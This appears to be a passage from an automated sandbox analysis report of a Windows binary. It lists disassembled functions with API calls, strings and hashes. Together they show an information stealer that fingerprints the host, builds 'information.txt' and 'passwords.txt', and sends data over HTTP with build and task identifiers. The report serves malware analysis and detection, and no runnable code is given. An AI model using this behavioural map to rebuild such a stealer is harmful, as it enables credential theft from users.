Part of subcall function 0040FB20: GetComputerNameA.KERNEL32(00000000,00000000), ref: 0040FB47

Part of subcall function 0040FAE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417612,004201E9), ref: 0040FAEC
Part of subcall function 0040FAE0: HeapAlloc.KERNEL32(00000000,?,?,?,00417612,004201E9), ref: 0040FAF3
Part of subcall function 0040FAE0: GetUserNameA.ADVAPI32(00000000,004201E9), ref: 0040FB07

Part of subcall function 004102C0: GetProcessHeap.KERNEL32(00000000,00000104,?,00000030,?,00414A13,?,00000000,?,Display Resolution: ,00000000,?,00423408,00000000,?,00000000), ref: 00410300
Part of subcall function 004102C0: HeapAlloc.KERNEL32(00000000,?,00000030,?,00414A13,?,00000000,?,Display Resolution: ,00000000,?,00423408,00000000,?,00000000,00000000), ref: 00410307
Part of subcall function 004102C0: wsprintfA.USER32 ref: 00410317

Part of subcall function 0040FC30: GetKeyboardLayoutList.USER32(00000000,00000000,004201E9,00000000,?,00000030), ref: 0040FC4D
Part of subcall function 0040FC30: LocalAlloc.KERNEL32(00000040,00000000,?,00000030), ref: 0040FC5F
Part of subcall function 0040FC30: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000030), ref: 0040FC69
Part of subcall function 0040FC30: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000030), ref: 0040FC93
Part of subcall function 0040FC30: LocalFree.KERNEL32(00000000,?,00000030), ref: 0040FD16

Part of subcall function 0040FBC0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040FBD1
Part of subcall function 0040FBC0: HeapAlloc.KERNEL32(00000000), ref: 0040FBD8
Part of subcall function 0040FBC0: GetTimeZoneInformation.KERNEL32(?), ref: 0040FBE7
Part of subcall function 0040FBC0: wsprintfA.USER32 ref: 0040FC12

Part of subcall function 0040FD30: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040FD45
Part of subcall function 0040FD30: HeapAlloc.KERNEL32(00000000), ref: 0040FD4C
Part of subcall function 0040FD30: RegOpenKeyExA.KERNEL32(80000002,02499118,00000000,00020119,00000000), ref: 0040FD6B
Part of subcall function 0040FD30: RegQueryValueExA.KERNEL32(00000000,024C0410,00000000,00000000,00000000,000000FF), ref: 0040FD86
Part of subcall function 0040FD30: RegCloseKey.ADVAPI32(00000000), ref: 0040FD90

Part of subcall function 0040FDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FE02
Part of subcall function 0040FDE0: GetLastError.KERNEL32(?,00000030), ref: 0040FE10
Part of subcall function 0040FDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FE48
Part of subcall function 0040FDE0: wsprintfA.USER32 ref: 0040FE92

Part of subcall function 0040FDA0: GetSystemInfo.KERNEL32(00000000), ref: 0040FDAD
Part of subcall function 0040FDA0: wsprintfA.USER32 ref: 0040FDC3

Part of subcall function 0040FED0: GetProcessHeap.KERNEL32(00000000,00000104,?,TimeZone: ,00000000,?,00423408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,00423408), ref: 0040FEDE
Part of subcall function 0040FED0: HeapAlloc.KERNEL32(00000000,?,TimeZone: ,00000000,?,00423408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,00423408,00000000), ref: 0040FEE5
Part of subcall function 0040FED0: GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 0040FF05
Part of subcall function 0040FED0: wsprintfA.USER32 ref: 0040FF2B

Part of subcall function 00410200: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410228
Part of subcall function 00410200: Process32First.KERNEL32(00000000,00000128), ref: 00410238
Part of subcall function 00410200: Process32Next.KERNEL32(00000000,00000128), ref: 0041024A
Part of subcall function 00410200: Process32Next.KERNEL32(00000000,00000128), ref: 0041029E
Part of subcall function 00410200: CloseHandle.KERNEL32(00000000), ref: 004102A9

Part of subcall function 0040FFC0: RegOpenKeyExA.KERNEL32(00000000,0249C298,00000000,00020019,00000000,004201E9), ref: 00410009

Part of subcall function 0040FFC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00410052
Part of subcall function 0040FFC0: wsprintfA.USER32 ref: 0041007C
Part of subcall function 0040FFC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041009A
Part of subcall function 0040FFC0: RegQueryValueExA.KERNEL32(00000000,024C00C0,00000000,000F003F,?,00000400), ref: 004100CA
Part of subcall function 0040FFC0: lstrlenA.KERNEL32(?), ref: 004100DF
Part of subcall function 0040FFC0: RegQueryValueExA.KERNEL32(00000000,024C00D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,80000002,00423408), ref: 00410156

lstrlenA.KERNEL32(00000000,00000000,?,00423684,00000000,?,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00414F07

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

Strings

TimeZone: , xrefs: 00414B3B
MachineID: , xrefs: 004145B3
Date: , xrefs: 0041454C
[Processes], xrefs: 00414DD6
Display Resolution: , xrefs: 004149E8
Local Time: , xrefs: 00414AD4
Path: , xrefs: 00414706
[Hardware], xrefs: 00414BA2
Windows: , xrefs: 004147C7
HWID: , xrefs: 00414690
RAM: , xrefs: 00414CF9
Processor: , xrefs: 00414BC4
Work Dir: In memory, xrefs: 00414783
Cores: , xrefs: 00414C2B
AV: , xrefs: 004148A4
VideoCard: , xrefs: 00414D60
GUID: , xrefs: 0041461A
[Software], xrefs: 00414E4C
User Name: , xrefs: 00414981
Install Date: , xrefs: 0041482E
Threads: , xrefs: 00414C92
Computer Name: , xrefs: 0041491A
information.txt, xrefs: 00414F1C
Keyboard Languages: , xrefs: 00414A5E
Version: , xrefs: 004144C3

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Open$CloseCreateInformationInitializeQueryValuelstrcpy$LocalNameProcess32lstrlen$BlanketCurrentHandleInfoInitInstanceKeyboardLayoutListLogicalNextProcessorProxySecurityTimeVariantlstrcat$CharComputerDirectoryEnumErrorFileFirstFreeGlobalLastLocaleMemoryModuleObjectProfileSingleSleepSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 2672074340-1014693891
Opcode ID: 0d77c7a35f28ee7f2e3b6a2c3eb6280452e04d3c9f21196f6622b304b4d1b73b
Instruction ID: ed390803ddffb7dbb27509b1d163b9a87a989646b63db68027920e85455424b0
Opcode Fuzzy Hash: 0d77c7a35f28ee7f2e3b6a2c3eb6280452e04d3c9f21196f6622b304b4d1b73b
Instruction Fuzzy Hash: 2D623073D101086EDB15FBA1D952DDEB3789E14304B6482BFB112728D2AF397B0DCA69

Function 00405220 Relevance: 48.0, APIs: 21, Strings: 6, Instructions: 753
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004052AC
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000000), ref: 004052C7
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040540D
HttpOpenRequestA.WININET(00000000,024BDDA8,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 00405449
lstrlenA.KERNEL32(00000000,00000000,004138CC,?,00000000,004138CC,",00000000,004138CC,status,00000000,004138CC,024986E0,00000000,004138CC,00423358), ref: 004059B3
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004059C4
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 004059CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004059D6
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004059E7
memcpy.MSVCRT ref: 004059F8
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405A09
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405A22
memcpy.MSVCRT ref: 00405A2B
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405A3E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405A4F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405A66
InternetReadFile.WININET(00000000,00000000,000000C7,?), ref: 00405AB5
InternetCloseHandle.WININET(00000000), ref: 00405AC0
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040546D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

InternetCloseHandle.WININET(00000000), ref: 00405ACA
InternetCloseHandle.WININET(00000000), ref: 00405AD7

Strings

", xrefs: 00405520, 00405630, 00405741, 00405851, 00405964
task_id, xrefs: 0040582F
------, xrefs: 00405332, 00405473, 00405585, 00405697, 004057A6, 004058B9
build_id, xrefs: 0040560E
status, xrefs: 00405942
mode, xrefs: 0040571F

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$lstrcpy$CloseHandle$FileHeapHttpOpenReadRequestlstrcatmemcpy$AllocConnectCrackOptionProcessSend
String ID: "$------$build_id$mode$status$task_id
API String ID: 530647464-4141295817
Opcode ID: b93c99284bbc12be903414906da44d4ddf7db8284e5a9b85deddb4f24ddcf4ac
Instruction ID: 5e4698c0f8782886daf2421da86d2cafb9983bd3f54ffb23d2de9c830c1f077e
Opcode Fuzzy Hash: b93c99284bbc12be903414906da44d4ddf7db8284e5a9b85deddb4f24ddcf4ac
Instruction Fuzzy Hash: 7C52DE72910109AEDB15FBA1DC92EEE7778AF14704F54817EB112724D1EF382B4DCAA8

Function 00405BB0 Relevance: 44.3, APIs: 21, Strings: 4, Instructions: 584
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405C3C
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 00405C57
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405D9D
HttpOpenRequestA.WININET(00000000,024BDDA8,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 00405DD9
lstrlenA.KERNEL32(00000000,00000000,00416BDF,?,00000000,00416BDF,",00000000,00416BDF,mode,00000000,00416BDF,024986E0,00000000,00416BDF,00423358), ref: 0040611D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 0040612E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406139
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406140
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406151
memcpy.MSVCRT ref: 00406162
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000030), ref: 00406173
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000030), ref: 0040618C
memcpy.MSVCRT ref: 00406195
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004061A8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004061B9
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004061D0
InternetReadFile.WININET(00000000,00000000,000000C7,?), ref: 00406225
InternetCloseHandle.WININET(00000000), ref: 00406230
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405DFD

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

InternetCloseHandle.WININET(00000000), ref: 0040623A
InternetCloseHandle.WININET(00000000), ref: 00406247

Strings

", xrefs: 00405EB0, 00405FC0, 004060D1
------, xrefs: 00405CC2, 00405E03, 00405F15, 00406027
build_id, xrefs: 00405F9E
mode, xrefs: 004060AF

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$lstrcpy$CloseHandle$FileHeapHttpOpenReadRequestlstrcatmemcpy$AllocConnectCrackOptionProcessSend
String ID: "$------$build_id$mode
API String ID: 530647464-3829489455
Opcode ID: 780af51b77e92f6a8107d8b7c553ffc728ae17864558bceb5827b898e0ee14bf
Instruction ID: 2342e7445195f74e1bbe978696abae846b25583d2ac747dccbea70769e672dee
Opcode Fuzzy Hash: 780af51b77e92f6a8107d8b7c553ffc728ae17864558bceb5827b898e0ee14bf
Instruction Fuzzy Hash: 1222EE72910108AEDB15FBA1DC92EEE7778AF54704F54817EB502724D1EF386A0DCBA8

Function 0040BF30 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 286
stringfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040BFD7
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C00B
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040C069
RtlAllocateHeap.NTDLL(00000000), ref: 0040C070
lstrlenA.KERNEL32(00000000,00000000), ref: 0040C10C
lstrcatA.KERNEL32(00000000,024BDEE8), ref: 0040C123
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C133
lstrcatA.KERNEL32(00000000,004234BC), ref: 0040C13F
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C14F

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004110F0: memset.MSVCRT ref: 0041110A
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
Part of subcall function 004110F0: wsprintfW.USER32 ref: 00411153
Part of subcall function 004110F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
Part of subcall function 004110F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
Part of subcall function 004110F0: CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

lstrcatA.KERNEL32(00000000,004234B8), ref: 0040C15B
lstrcatA.KERNEL32(00000000,024BDFC8), ref: 0040C169
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C179
lstrcatA.KERNEL32(00000000,00423408), ref: 0040C185
lstrcatA.KERNEL32(00000000,024BDFD8), ref: 0040C192
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1A2
lstrcatA.KERNEL32(00000000,00423408), ref: 0040C1AE
lstrcatA.KERNEL32(00000000,024BFF70), ref: 0040C1BC
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1CC
lstrcatA.KERNEL32(00000000,00423408), ref: 0040C1D8
lstrcatA.KERNEL32(00000000,00423408), ref: 0040C1E4
lstrlenA.KERNEL32(00000000), ref: 0040C211
DeleteFileA.KERNEL32(00000000), ref: 0040C275

Strings

passwords.txt, xrefs: 0040C21E

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$Copy$AllocAllocateCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID: passwords.txt
API String ID: 2344884248-347816968
Opcode ID: ff5052ec77d4df1a9c86cd80e0b29353f95ee7cb8f6a71fce438e1d8faa092ec
Instruction ID: 967a70a3d716286beb5b4252a3fafd026a216bdc4be784f124d06add54286a45
Opcode Fuzzy Hash: ff5052ec77d4df1a9c86cd80e0b29353f95ee7cb8f6a71fce438e1d8faa092ec
Instruction Fuzzy Hash: DBA14D72A00105ABCB14FBA1ED5ADEE377DAF54305F149039F502B2591EF386A09CBB9

Function 00407160 Relevance: 32.0, APIs: 21, Instructions: 482stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FA20: StrCmpCA.SHLWAPI(?,00423410,?,004090A5,00423410,00000000), ref: 0040FA2A

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040725E
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040744B
RtlAllocateHeap.NTDLL(00000000), ref: 00407452
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00407292

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

lstrcatA.KERNEL32(00000000,00000000,00000000,024BDF48,00423410,024BDF48,00423410,00000000), ref: 0040757D
lstrcatA.KERNEL32(00000000,0042340C), ref: 00407589
lstrcatA.KERNEL32(00000000,00000000), ref: 00407599
lstrcatA.KERNEL32(00000000,0042340C), ref: 004075A5
lstrcatA.KERNEL32(00000000,00000000), ref: 004075B5
lstrcatA.KERNEL32(00000000,0042340C), ref: 004075C1
lstrcatA.KERNEL32(00000000,00000000), ref: 004075D1
lstrcatA.KERNEL32(00000000,0042340C), ref: 004075DD
lstrcatA.KERNEL32(00000000,00000000), ref: 004075ED
lstrcatA.KERNEL32(00000000,0042340C), ref: 004075F9
lstrcatA.KERNEL32(00000000,00000000), ref: 00407609
lstrcatA.KERNEL32(00000000,0042340C), ref: 00407615
lstrcatA.KERNEL32(00000000,00000000), ref: 00407652
lstrcatA.KERNEL32(00000000,00423408), ref: 00407666
lstrlenA.KERNEL32(00000000), ref: 004076B3
lstrlenA.KERNEL32(00000000), ref: 004076BF

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

DeleteFileA.KERNEL32(00000000,?,?,?,004201E9), ref: 0040771A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$File$CopyHeap$AllocateDeleteProcess
String ID:
API String ID: 510441641-0
Opcode ID: ba727aef810989b6c75763a87316421aa1657061677df23325a5051ec488d916
Instruction ID: 7c427e6bb88bbe56a8d38efa81964618216df7dc27c3b8011e4d2415417106fc
Opcode Fuzzy Hash: ba727aef810989b6c75763a87316421aa1657061677df23325a5051ec488d916
Instruction Fuzzy Hash: 82026D72A10104ABCB24FBA1DC56DEE7779AF10305F54813AF506764E2EF386A0DCB69

Function 00408DD0 Relevance: 31.9, APIs: 21, Instructions: 390stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

